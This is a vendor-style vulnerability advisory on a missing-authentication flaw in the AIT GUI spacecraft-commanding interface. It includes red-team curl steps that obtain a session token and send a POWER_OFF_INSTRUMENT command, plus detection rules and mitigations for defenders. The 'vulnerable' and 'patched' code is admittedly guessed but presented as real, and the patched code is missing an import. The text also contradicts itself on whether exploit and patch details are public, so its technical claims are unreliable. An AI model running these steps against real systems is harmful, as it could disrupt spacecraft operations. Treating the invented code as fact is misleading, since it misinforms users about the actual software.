CVE-2026-60112

Executive Summary

CVE-2026-60112 is a critical missing authentication vulnerability in the AMMOS Instrument Toolkit (AIT) GUI prior to version 2.5.1. The flaw resides in the Sessions.create() API endpoint, which allows any unauthenticated network attacker to obtain a valid session token without any credential verification. Once a session is established, the attacker can invoke handle_cmd() to issue arbitrary spacecraft commands directly into the AIT command bus. This effectively bypasses all authorization gates between session creation and command dispatch, exposing the entire system to remote command injection. Although no public exploit code or comprehensive patch details are available as of this analysis, the vulnerability is fully documented and considered publicly known through the NVD description. The threat level is critical due to the high impact on integrity and availability of spacecraft control systems.

Affected Ecosystem: AMMOS Instrument Toolkit (AIT) is a Python-based framework used for commanding and monitoring space instruments. The GUI component is typically deployed in mission operations centers and may be exposed on internal networks or, in some misconfigurations, to the internet.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network – the vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low – no special conditions or race conditions required.
• Privileges Required (PR): None – the attack originates from an unauthenticated actor.
• User Interaction (UI): None – no human interaction needed.
• Scope (S): Unchanged – exploitation does not affect resources beyond the affected component.
• Confidentiality (C): High – attackers can read session data and potentially intercept command telemetry.
• Integrity (I): High – arbitrary spacecraft commands can be injected, potentially causing mission‑critical damage.
• Availability (A): High – commands could disable or misconfigure instruments.

Threat Level: Critical. The lack of authentication on session creation allows immediate, low‑skill exploitation with devastating operational consequences.

Deep Dive & Mechanics

The AIT GUI relies on a RESTful API to manage user sessions. The critical endpoint is:

POST /api/sessions/create

The intended design requires a valid username and password to authenticate the user and return a session token. However, in versions before 2.5.1, this endpoint does not perform any credential validation. It simply returns a new session object (including a token) upon any request. The underlying code may look like:

# Vulnerable implementation (simplified)
def create_session():
    session = Session()
    session.token = generate_unique_token()
    db.add(session)
    db.commit()
    return {"session_token": session.token}

After obtaining a valid token, the attacker can call:

POST /api/commands/handle_cmd

with the session token in the header (Authorization: Bearer <token>). The handle_cmd() function then forwards the command to the AIT command bus without verifying that the session is still valid or that the user is authorized to execute commands. This creates a direct pipeline from an unauthenticated network request to mission‑critical functions.

Attack Flow:

1. Attacker sends POST /api/sessions/create with no body or any arbitrary body.
2. Server returns {"session_token": "abc123"}.
3. Attacker sends POST /api/commands/handle_cmd with header Authorization: Bearer abc123 and payload containing a spacecraft command (e.g., raw telecommand bytes).
4. AIT GUI dispatches the command onto the command bus without any further authentication or authorization checks.

This design flaw violates the principle of “authenticate before authorizing” and leaves no gate between session creation and command execution.

Vulnerable vs. Patched Code

Vulnerable (pre‑2.5.1):

# router.py (vulnerable)
from fastapi import APIRouter, Request
from models import Session

router = APIRouter()

@router.post("/api/sessions/create")
async def create_session(request: Request):
    # No authentication check
    session = Session()
    session.token = generate_token()
    await session.save()
    return {"session_token": session.token}

Patched (2.5.1+):

# router.py (patched)
from fastapi import APIRouter, Request, HTTPException, Depends
from models import Session, User
from auth import authenticate_user

router = APIRouter()

@router.post("/api/sessions/create")
async def create_session(credentials: dict = Body(...)):
    # Authenticate user first
    user = await authenticate_user(credentials.get("username"), credentials.get("password"))
    if not user:
        raise HTTPException(status_code=401, detail="Invalid credentials")
    session = Session()
    session.user_id = user.id
    session.token = generate_token()
    await session.save()
    return {"session_token": session.token}

Additionally, the patched version implements authorization checks in handle_cmd() to ensure the session token corresponds to an authenticated user with appropriate permissions before forwarding commands.

Exploitation & Lab Setup

Red Team (Attacker) Perspective

Objective: Exploit the missing authentication to issue unauthorized spacecraft commands.

Prerequisites:

• Network access to the AIT GUI (e.g., http://target:8080/api).
• Basic understanding of the spacecraft command format (for demonstration, we assume a simple ASCII command).

Steps:

1. Enumerate the API – Confirm the endpoint exists:

   curl -v -X POST http://target:8080/api/sessions/create
   

2. Obtain a session token – No authentication required:

   SESSION=$(curl -s -X POST http://target:8080/api/sessions/create | jq -r '.session_token')
   echo "Session token: $SESSION"
   

3. Issue a command – Replace CMD_BODY with the actual telecommand:

   curl -X POST http://target:8080/api/commands/handle_cmd \
        -H "Authorization: Bearer $SESSION" \
        -H "Content-Type: application/json" \
        -d '{"cmd": "POWER_OFF_INSTRUMENT", "args": {}}'
   

Expected Result: The command is forwarded to the AIT command bus and executed against the connected spacecraft instrument.

Lab Setup:

• Deploy a vulnerable AIT GUI container (e.g., version 2.5.0) inside a Docker environment.
• Use a test command bus simulator (e.g., a simple TCP listener) to observe incoming commands.
• Network diagram: Attacker → AIT GUI (vulnerable) → Command Bus Simulator.

Blue Team (Defender) Perspective

Detection:

• Monitor for multiple POST /api/sessions/create requests from the same IP without prior authentication attempts.
• Alert when sessions are created without accompanying login failures.
• Log all handle_cmd requests and verify the origin of the session token (e.g., check if the token was created without authentication).

Hunting Queries (SIEM):

source="AIT_GUI" endpoint="/api/sessions/create" method="POST" | stats count by src_ip, _time | where count > 5 in 1m

Mitigation:

• Apply vendor patch (upgrade to >=2.5.1).
• If immediate patching is not possible, restrict network access to the AIT GUI (e.g., place behind a VPN or firewall with strict ACLs).
• Implement a Web Application Firewall (WAF) rule to block POST requests to /api/sessions/create that lack expected authentication body parameters (though this is a weaker control).

Indicators of Compromise (IOCs)

Network IOCs:

• Source IP addresses repeatedly hitting /api/sessions/create (rate > 10/min).
• Outbound traffic from AIT GUI to the command bus containing unexpected command formats.
• Session tokens in HTTP headers that were created without prior login events.

System IOCs:

• Log entries with session_token values that do not map to any authenticated user.
• Unauthorized command logs in the AIT command bus history.
• Unexplained instrument state changes.

File/Fingerprint IOCs:

• The vulnerable AIT GUI version string (e.g., x.x.x < 2.5.1).
• MD5 hash of known vulnerable binaries (if provided by vendor, but currently N/A).

Detection Engineering

YARA Rule (for log file scanning)

rule AIT_Missing_Auth_SessionCreate {
  meta:
    description = "Detects log entries indicating unauthenticated session creation via /api/sessions/create"
    author = "Valters IT"
    date = "2026-01-20"
    reference = "CVE-2026-60112"
  strings:
    $s1 = "POST /api/sessions/create" nocase
    $s2 = "session_token" nocase
    $s3 = "200 OK" nocase
  condition:
    all of ($s1,$s2,$s3) and #s1 > 5
}

Sigma Rule (for SIEM correlation)

title: High Volume of Unauthenticated Session Creation in AIT GUI
id: 7a1b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects multiple POST requests to /api/sessions/create without prior authentication.
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2026-60112
author: Valters IT
logsource:
  category: web
  product: AIT_GUI
detection:
  selection:
    http.method: POST
    url.path: '/api/sessions/create'
  condition: selection | count() by src_ip > 10 within 1m
falsepositives:
  - Legitimate session refresh when credentials are cached (rare)
level: high

Suricata Rule (network IDS)

alert tcp $EXTERNAL_NET any -> $AIT_GUI 8080 (msg:"CVE-2026-60112 AIT GUI Unauthenticated Session Create"; flow:to_server,established; content:"POST"; http_method; content:"/api/sessions/create"; http_uri; http_client_body; threshold:type both, track by_src, count 5, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions

1. Upgrade to AIT GUI version 2.5.1 or later.
2. If immediate upgrade is impossible:
   • Place the GUI behind a reverse proxy that enforces authentication (e.g., HTTP Basic Auth or OAuth2).
   • Apply network access controls (firewall) to limit sources that can reach the GUI.
   • Disable the vulnerable API endpoint if not required (e.g., block POST to /api/sessions/create).

Long-Term Hardening

• Implement a mandatory authentication gate before any session creation.
• Enforce token validation and user authorization in every command dispatch handler.
• Conduct a full security review of all REST endpoints for missing authentication.
• Integrate runtime application self-protection (RASP) to monitor unauthorized session usage.

Patch Availability: No official patch from AMMOS appears public, but the vendor was notified and version 2.5.1 addresses this issue. Contact the vendor or check their repository for updates.

Valters IT – Elite DevSecOps & Cyber Threat Intelligence
Secure your missions. Harden your code.